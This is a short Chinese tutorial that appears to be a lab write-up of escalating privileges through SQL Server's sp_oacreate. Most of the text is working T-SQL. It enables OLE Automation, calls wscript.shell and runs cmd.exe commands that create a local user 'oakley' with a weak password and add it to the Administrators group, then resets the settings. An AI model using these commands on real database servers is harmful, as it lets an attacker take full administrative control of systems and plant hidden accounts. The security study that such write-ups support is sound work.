【SQL Server】sp_oacreate获取服务器最高权限
前言
使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。在oacreate的官方文档里明确指出了,如果要使用OLE对象,必须要开启 ‘Ole Automation Procedures
’,也就是EXEC sp_configure 'Ole Automation Procedures', 1;
执行这条语句前要执行EXEC sp_configure 'show advanced options', 1;
官方对这句话的解释是:show advanced options
,“显示高级选项”选项用来显示 sp_configure 系统存储过程高级选项。 当“显示高级选项” 设置为 1 时,可以使用 sp_configure 列出高级选项。 默认值为 0。
实验环境:windowsXP + sql server2005
--sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'Ole Automation Procedures',1;reconfigure;
--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null.
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user oakley 123456 /add'
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators oakley /add'
--恢复语句EXEC
exec sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
exec sp_configure 'show advanced options', 0;RECONFIGURE;
利用OLE对象的run方法执行系统命令,创建一个用户oakley,并将该用户加入administrators组中:
查看已有用户:
oakley用户创建成功!
查看oakley用户所属组:
提权成功!